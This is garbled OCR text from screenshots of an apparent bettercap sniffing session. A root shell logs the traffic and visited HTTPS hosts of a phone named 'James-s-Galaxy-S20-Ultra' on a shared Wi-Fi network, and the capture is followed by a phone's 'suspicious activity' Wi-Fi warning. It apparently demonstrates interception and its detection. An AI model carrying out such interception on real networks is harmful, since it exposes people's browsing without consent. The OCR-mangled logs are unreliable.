8] [endpoint.lost] endpoint 192 10 5,102 (Jamess-iPhone.) le:15:7a:6b:33:b3 lost.

for
for
for
for
for
for
for
for
for
for
for

_hap._tcp. local
“homekit._tcp.local
“hap._udp. local
_raop._tcp.local
Cairplay._tcp.local
Zcompanion-Link._tcp.local
“hap._tcp. local
“homekit._tcp.local
“hap._udp. local
_raop._tcp.local
Cairplay._tcp.local
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a root@daniel-iphone: ~

» [15 7] [net.sniff.udp]
» [15 7] [net.sniff.udp]
» [15 4] [net.sniff.tcp]
» [15:56:24] [net.sniff.tcp]
192.168.8.103 [EMEY [net.sniff.tcp]
192.168.8.103 [EMEY [net.sniff.tcp]
192.168.8.103 [EMEY [net.sniff.https.

»

»

»

»

»

»

192.168.8.103

James-s-Galaxy-520-Ultra-56
James-s-Galaxy-520-Ultra-56
James-s-Galaxy-520-Ultra-56
James-s-Galaxy-520-Ultra-56

69.171.250.63:https 48 bytes
69.171.250.63:https 48 bytes
172.217.169.68:https 40 bytes
172.217.169.68:https 40 bytes
James-5-Galaxy-520-Ultra-56. 172.217.169.68:https 20 bytes
James-5-Galaxy-520-Ultra-56. 172.217.169.68:https 20 bytes
James-s-Galaxy-520-Ultra-56. > https://wm.google. con
James-s-Galaxy-S20-Ultra-56. > https://w.google. con
James-s-Galaxy-520-Ultra-56. :49654 > 172.217.169.68:https 20 bytes
James-s-Galaxy-520-Ultra-56. :49654 > 172.217.169.68:https 20 bytes
James-s-Galaxy-520-Ultra-56. :49654 > 172.217.169.68:https 84 bytes
James-s-Galaxy-520-Ultra-56. :49654 > 172.217.169.68:https 84 bytes

>

>

192.168.8.103
192.168.8.103
192.168.8.103

192.168.8.103 [15 [net.sniff.https]
192.168.8.103 [15:56:25] [net.sniff.tcp]
192.168.8.103 [15 [net.sniff.tcp]
192.168.8.103 [15 [net.sniff.tcp]
192.168.8.103 [15 [net.sniff.tcp]

192.168.8.103 [EEE] [net.sniff.tcp] James-s-Galaxy-520-Ultra-56. :49654 > 172.217.169.68:https 20 bytes
192.168.8.103 |f3 [net.sniff.tcp] James-s-Galaxy-520-Ultra-56. :49654 > 172.217.169.68:https 20 bytes
net.sniff.tcp] [29) James-s-Galaxy-S20-Ultra-56.:42119 > 139.47.254.18:hart-ip 85 bytes

192.168.8.103 [EMEY 8] [net.sniff.tcp) James-s-Galaxy-520-Ultra-56.:42119 > 139.47.254.18:hart-ip 85 bytes
192.168.8.103 [15:57:08] [net.sniff.tcp] James-s-Galaxy-520-Ultra-56.:42119 > 139.47.254.18:hart-ip 32 bytes
192.168.8.103 [15 [net.sniff.tcp] James-s-Galaxy-520-Ultra-56.:42119 > 139.47.254.18:hart-ip 32 bytes
192.168.8.103 [15 [net.sniff.tcp] James-s-Galaxy-520-Ultra-56.:60116 > 172.217.16.234:https 59 bytes
192.168.8.103 [15 [net.sniff.tcp] James-s-Galaxy-520-Ultra-56.:60116 > 172.217.16.234:https 59 bytes
192.168.8.103 [15 [net.sniff.tcp] James-s-Galaxy-520-Ultra-56.:60116 > 172.217.16.234:https 44 bytes
192.168.8.103 [15:57:50] [net.sniff.tcp] James-s-Galaxy-520-Ultra-56.:60116 > 172.217.16.234:https 44 bytes
192.168.8.103 [15 [net.sniff.tcp] James-s-Galaxy-520-Ultra-56.:60116 > 172.217.16.234:https 20 bytes
192.168.8.103 [15 [net.sniff.tcp] James-s-Galaxy-520-Ultra-56.:60116 > 172.217.16.234:https 20 bytes
192.168.8.103 [15 [net.sniff.tcp] James-s-Galaxy-520-Ultra-56.:45782 > 172.217.169.14:https 40 bytes
192.168.8.103 [15 [net.sniff.tcp] James-s-Galaxy-520-Ultra-56.:45782 > 172.217.169.14:https 40 bytes
192.168.8.103 [15 [net.sniff.tcp] James-s-Galaxy-520-Ultra-56.:45782 > 172.217.169.14:https 20 bytes
192.168.8.103 [15 [net.sniff.tcp] James-s-Galaxy-520-Ultra-56.:45782 > 172.217.169.14:https 20 bytes

192.168.8.103
192.168.8.103

[15 [net.sniff.https.
[15:58:00] [net.sniff.https]

James-s-Galaxy-520-Ultra-56. > https://safebrousing.google. con
James-s-Galaxy-520-Ultra-56. > https://safebrousing.google.con

192.168.8.103 [EEE] [net.sniff.tcp] James-s-Galaxy-520-Ultra-56. :45782 > 172.217.169.14:https 20 bytes
192.168.8.103 [EEE] [net.sniff.tcp] James-s-Galaxy-520-Ultra-56. :45782 > 172.217.169.14:https 20 bytes
192.168.8.103 [EEE] [net.sniff.tcp] James-s-Galaxy-520-Ultra-56. :45782 > 172.217.169.14:https 84 bytes

192.168.8.103
192.168.8.103

[15 [net.sniff.tcp]
[15:58:01] [net.sniff.tcp]

James-s-Galaxy-520-Ultra-56
James-s-Galaxy-520-Ultra-56

172.217.169.14:https 84 bytes
172.217.169.14:https 20 bytes

192.168.8.103 [15 [net.sniff.tcp] James-s-Galaxy-520-Ultra-5G 172.217.169.14:https 20 bytes
192.168.8.103 [EEE] [net.sniff.tcp] 237 James-s-Galaxy-520-Ultra-56. 91.198.174.192:https 40 bytes
192.168.8.103 [EEE] [net.sniff.tcp] 239 James-s-Galaxy-520-Ultra-56. 91.198.174.192:https 40 bytes

192.168.8.103 [EMEE]

192.168.8.103

[net.sniff.tcp] James-s-Galaxy-520-Ultra-56
[net.sniff.tcp] James-s-Galaxy-520-Ultra-56
James-s-Galaxy-520-Ultra-5G. > https://en.m.uikiguote.org
[15 1] [net.sniff.https] James-s-Galaxy-520-Ultra-56. > https://en.m.wikiquote.org
[15:58:02] [net.sniff.tcp] James-s-Galaxy-520-Ultra-5G 91.198.174.192:https 20 bytes

91.198.174.192:https 20 bytes
91.198.174.192:https 20 bytes

192.168.8.103
192.168.8.103

192.168.8.103 [EMEE] [net.sniff.tcp] 239 James-s-Galaxy-520-Ultra-56. 91.198.174.192:https 20 bytes
192.168.8.103 [EEE] [net.sniff.tcp] 239 James-s-Galaxy-520-Ultra-56. 91.198.174.192:https 20 bytes

[net.sniff.tcp] 239 James-s-Galaxy-520-Ultra-56. 91.198.174.192:https 20 bytes
192.168.8.103 [EEE] [net.sniff.tcp] 239 James-s-Galaxy-520-Ultra-56. 91.198.174.192:https 100 bytes
192.168.8.103 [15:58:02] [net.sniff.tcp] James-s-Galaxy-520-Ultra-56 91.198.174.192:https 100 bytes

192.168.8.103
192.168.8.103
192.168.8.103 [FRd

Are you sure you want to quit this session? y/n [15:58:21] [net.sniff.tcp] James-s-Galaxy-520-Ultra-56.:43852 > 54.77.153.42:https 135 bytes
[15:58:21] [net.sniff.tcp] James-s-Galaxy-520-Ultra-56.:43852 > 54.77.153.42:https 135 bytes

[net.sniff.tcp] James-s-Galaxy-520-Ultra-56
[net.sniff.tcp] James-s-Galaxy-520-Ultra-5G

91.198.174.192:https 20 bytes

»
»
»
»
192.168.8.103 [EMEE]
»
»
»
» 91.198.174.192:https 20 bytes

1] [net.sniff.tcp] (14. James-s-Galaxy-S20-Ultra-56.:43852 > 54.77.153.42:https 20 bytes
1] [net.sniff.tcp] [14) James-s-Galaxy-S20-Ultra-56.:43852 > 54.77.153.42:https 20 bytes
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Wi-Fi security alert

Suspicious activity has been detected on the
current Wi-Fi network ("TP-Link_6873").
Disconnecting from this network is recommended.
If you trust this network, you can add it as an
exception so you won't see this warning again.

Disconnect Add to exceptions
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Detect suspicious
networks

Get notified when suspicious activity is detected on
the current Wi-Fi network.

Use Secure Wi-Fi to get additional protection from
suspicious activity and attacks on Wi-Fi networks.

HUAWEI_5G_Router
31/03/2021

TP-Link_6873
23/03/2021, Added to exceptions
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